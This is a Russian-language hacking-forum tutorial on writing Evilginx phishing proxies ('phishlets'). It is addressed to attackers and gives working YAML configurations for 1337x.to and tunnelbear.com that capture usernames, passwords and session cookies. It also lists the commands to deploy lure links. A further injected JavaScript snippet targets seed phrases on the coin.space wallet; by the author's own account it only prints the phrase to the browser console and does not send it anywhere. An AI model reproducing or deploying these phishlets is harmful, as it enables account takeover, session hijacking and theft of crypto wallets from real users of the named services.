Практикум по написанию фишлетов для Evilginx

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: miserylord
Эксклюзивно для форума:
xss.is

И снова здравствуйте, любители цифровых шалостей, на связи miserylord!

В предыдущей статье я разобрал тему фишинговых сайтов, привел пример фишингового сайта первого поколения на Golang, объяснил, что такое атака "человек посередине" (man-in-the-middle), а также рассказал, что представляет собой Evilginx и как его настроить на сервере. Ознакомиться со статьей можно по ссылке.

Сегодня мы погрузимся в практическое написание фишлетов, выберем несколько сайтов и рассмотрим процесс написания таких проектов. Поехали!

Подготовка

Для работы нам понадобится Evilginx. Также потребуется отдельный профиль браузера, я буду использовать Google Chrome. Обратите внимание, что при каждом перезапуске фишлета и проверке необходимо очищать данные браузера — кеш и куки.

Поскольку данные, которые мы хотим перехватывать, могут находиться как в локальном хранилище, так и в куках, нам понадобится расширение для работы с этими данными. Такие расширения часто исчезают из магазинов приложений, поэтому, если то, что я предлагаю, недоступно, необходимо найти аналог. Я буду использовать Storage Ace — оно позволяет работать сразу со всеми необходимыми данными. Дополнительно для работы с куки-файлами я буду использовать EditThisCookie.

1337x.to

Для первого проекта выберем несложную цель — торрент-трекер 1337x.to.

  1. Зарегистрируем аккаунт (для этого удобно использовать временную почту).
  2. После этого очищаем все данные браузера и переходим на страницу логина.
  3. Открываем панель разработчика в Google Chrome и переходим на вкладку Network, активируем функцию Preserve log, чтобы вся история запросов не сбрасывалась при редиректах. Входим в аккаунт.

В приложении Storage Ace смотрим, что мы получили — куки или токен сессии. На этом сайте данные сохраняются в куках. Мы видим куки с именами uid и pass. Экспортируем куки и импортируем их в другой профиль — и оказываемся в аккаунте. То, что нужно! Пробуем удалить одну из двух кук и понимаем, что для того чтобы оставаться в аккаунте, нужны обе куки.

Возвращаемся к запросам — нужно найти запрос, в ходе которого мы получили эти куки. Это запрос на Login as Member | 1337x. Обращаем внимание на Content-Type — в данном случае это application/x-www-form-urlencoded. Потоки работы для написания фишлетов для разных типов Content-Type могут немного отличаться. Во вкладке Payload видим наш логин и пароль, сохраняем его для дальнейшей работы. Во вкладке Cookies видим полученные куки.

Создаем файл 1337x.yaml.

```
YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: '1337x.to', session: true, is_landing: true, auto_filter: true}
auth_tokens:
  - domain: '1337x.to'
    keys: ['uid','pass']
    type: 'cookie'
credentials:
  username:
    key: 'username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: '1337x.to'
  path: '/login'


Указываем минимальную версию, с которой будет работать Evilginx. Этот параметр не слишком важен, сейчас актуальная версия — третья, поэтому указываем "3".

В proxy_hosts указываем домен, который необходимо проксировать. Поскольку поддоменов нет, поля orig_sub и phish_sub оставляем пустыми. Параметр session указан как true, хотя в данном случае его можно было бы поставить в false. Session — это такие куки, которые являются сессионными. Чтобы понять, что куки сессионные, изучите их в приложении EditThisCookie — для сессионных кук будет установлена галочка на параметре Session, а также у них не будет даты истечения срока (expiration date), либо она будет указана на текущее время. В данном случае куки у нас не сессионные, но с этого домена мы всё равно получаем нужные куки. Документация Evilginx на этом моменте немного размыта, однако оставляем true, как минимум потому, что это работает (также будет работать и с false). Параметр is_landing устанавливаем в true для первого домена, который увидит пользователь. В нашем случае домен только один, поэтому оставляем true. Параметр auto_filter — это техническая опция, её также оставляем в true.

В параметре auth_tokens указываем домен, с которого приходят куки. Эту информацию берём из расширения EditThisCookie. Ключи также берём оттуда и указываем массивом через запятую, поскольку хотим перехватывать несколько кук одновременно. Также указываем тип куки.

В разделе credentials помещаем информацию из ранее сохранённого Payload — ключи username и password, которые передаются в POST-запросе (указываем тип запроса). Параметр search ставим в значение регулярного выражения — '(.*)'.

В разделе login указываем информацию со страницы, где происходит аутентификация.

Запускаем Evilginx:

  1. config domain fake.com — конфигурируем глобальный домен.
  2. phishlets hostname 1337x 1337x.fake.com — конфигурируем домен для фишлета.
  3. phishlets get-hosts 1337x — получаем хосты (для локальной разработки на Windows их нужно сохранить в файл hosts).
  4. phishlets enable 1337x — запускаем фишлет.
  5. lures create 1337x — создаём лур.
  6. lures get-url 8 — получаем ссылку.
  7. Очищаем данные браузера и заходим в аккаунт. Видим лог успешного перехвата всех данных.
  8. sessions 12 — получаем сессию.
tunnelbear.com

Возьмем задачу посложнее: сайт VPN-сервиса tunnelbear.com. Создаем аккаунт, анализируем ответы и переходим к написанию фишлета.

YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'tunnelbear.com', session: true, is_landing: true, auto_filter: true}
  - {phish_sub: 'prod-api-dashboard', orig_sub: 'prod-api-dashboard', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'www', orig_sub: 'www', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
  - {phish_sub: 'prod-api-core', orig_sub: 'prod-api-core', domain: 'tunnelbear.com', session: true, is_landing: false, auto_filter: true}
auth_tokens:
  - domain: '.tunnelbear.com'
    keys: ['TB_SESSION','PLAY_SESSION']
    type: 'cookie'
credentials:
  username:
    key: ''
    search: '"username":"([^"]*)'
    type: 'json'
  password:
    key: ''
    search: '"password":"([^"]*)'
    type: 'json'
login:
  domain: 'tunnelbear.com'
  path: '/account/login'


В этот раз количество значений в phish_sub стало больше. В целом в phish_sub следует добавлять все адреса, которые вы видите на этапе анализа трафика, то есть все поддомены, к которым было обращение. Я заметил обращения к www, а также к двум поддоменам API, которые и добавил в конфиг.

Проанализировав все куки, стало ясно, что нужно захватывать две основные: TB_SESSION и PLAY_SESSION. Их указываем в параметре auth_tokens.

Теперь посмотрим на запрос, в котором передаются данные для аутентификации. Видим, что тип контента на этот раз отличается — мы имеем дело с application/json. В таком случае в разделе credentials параметр key всегда остаётся пустым, в параметре search используется регулярное выражение, а в параметре type указываем json.

Логин осуществляется по адресу /account/login, это указываем в конфиге.

Проверяем — и успешно перехватываем данные. Один момент, на который стоит обратить внимание: по каким-то неизвестным причинам Evilginx решает кодировать символ & в \u0026. Из-за этого, если взять куки и импортировать их в браузер, ничего не произойдет. Будьте внимательны с этим — чтобы всё работало, замените \u0026 на &.

Глупый, глупый ивелджинкс, или я?

Во время работы над следующим фишлетом моя идея перехвата данных потерпела крах, и я понял, что, к сожалению, её реализация оказалась вовсе не тривиальной. На данный момент единственным решением мне видится более глубокое изучение исходного кода ивелджинкса и его адаптация под текущие или будущие задачи. Давайте перейдём к делу. Сайт с которым работаем - coin.space.

На этом этапе мне пришла в голову простая, но удивительная идея: перехватывать сид-фразу. Ведь зачем нам куки, если есть сидка? Стоит отметить, что таким же образом можно перехватывать любые другие вводимые данные, в том числе пин код сайта.

В целом фишлет может выглядеть примерно так:
YAML: Скопировать в буфер обмена
Код:
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'coin.space', session: false, is_landing: true, auto_filter: true}
auth_tokens:
  - domain: '.coin.space'
    keys: ['textareaValue']
credentials:
  username:
    key: 'email'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'coin.space'
  path: '/wallet/'
js_inject:
  - trigger_domains: ["coin.space"]
    trigger_paths: ["/wallet/"]
    script: |
     function checkButton() {
      const button = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-button-group.cs-passphrase__buttons > button.cs-button.cs-button--primary");

        if (button) {
        clearInterval(intervalId);
        button.addEventListener("click", () => {
            const textareaValue = document.querySelector("#app > div > div > div > div > div.auth-step-layout__content > div.cs-passphrase__container > div > div > label > div.cs-form-element__wrapper > div > textarea").value;
            console.log(textareaValue);
        });
      }
      }
const intervalId = setInterval(checkButton, 500);

В фреймворке есть параметр js_inject, который позволяет подгружать любой JavaScript код на страницу фишлета. На остальные параметры прошу не обращать внимания, так как цель перехватывать данные передо мной не стояла, и этот сайт аналогичен предыдущему примеру.

Логика в том, что пользователь вводит сид-фразу, и ему отображается пинкод. Происходит "магия", но URL не меняется, запросов не идёт, и непонятно, что происходит. Это словно некий "вандерленд". Форма ввода остаётся формой, и к ней можно обратиться как к переменной. Однако особенность заключается в том, что при загрузке страницы этой формы нет (изучите сайт подробнее, если этот момент неясен). То есть мы не можем захватить её в переменную, так как её не существует, и получим ошибку. Нам нужно проверять, перешёл ли пользователь на страницу с формой, чтобы повесить на неё событие. URL не меняется, потому что приложение написано на современном фреймворке. Насколько я понимаю, раньше приложения загружались с сервера, потом это стало считаться медленным и неудобным, и появились клиентские приложения. Сервер отдает весь клиентский код сразу, за счёт чего достигается псевдоскорость. Однако, насколько мне известно, сейчас индустрия вернулась к более гибким решениям, и, например, метафреймворки для React предлагают разные конфигурации для каждого компонента. Это интересная тема, но суть в том, что клиент уже получил весь код, и смена URL не происходит. Поэтому в JS-коде я добавил `setInterval`, который запускает функцию `checkButton` каждые 500 миллисекунд. Мы ищем кнопку и добавляем на неё событие. `if (button)` проверяет, существует ли элемент, и на начальной странице это утверждение ложно, так как кнопки нет в коде. Но когда пользователь нажимает "Войти в веб-кошелёк", она появляется (запрос не происходит, так как весь контент уже загружен клиентом), и в этот момент мы отключаем `setInterval`. Далее пользователь вводит сидку и нажимает кнопку "Далее". На эту кнопку мы добавляем событие, и при нажатии выводим сидку в консоль (`console.log`), где её и видим. Но как нам её перехватить?

Дело в том, что фреймворк работает как перехватчик. Первое, что я сделал, — сохранил её как куки. Проблема в том, что это происходит локально. Сохранение в `localStorage` тоже не решает проблему. Единственный вариант — отправлять данные на другой сервер, но, насколько я понял, такая отправка будет идти от имени фишингового (который фишится) сайта, что нарушит политику CSP. Таким образом, сохранить куку с сидкой и передать её ивелджинксу не представляется возможным, так как она не фигурирует в запросах. Либо нужно форсировать её отправку в запросе и перехватить оттуда. Ивелджинкс перехватывает данные только между запросами.

Итоги

В этой статье я не рассматривал более сложные способы обхода современных защит, встречающихся на мощных сайтах. Суть сводится к перехвату JavaScript. Это очень интересная тема.

Мне приснился сон, где в одном из вайбер-каналов был опубликован слитый курс автора проекта. Рекомендую найти его и ознакомиться. Спасибо ЖК "Кабуд Строй"!

Вероятно, я разберу несколько более сложных примеров в заключительной части серии статей про "man-in-the-middle" атаки, но на этом этапе всё. Тема очень интересная, думаю, ещё увидимся! :)
 
Сверху Снизу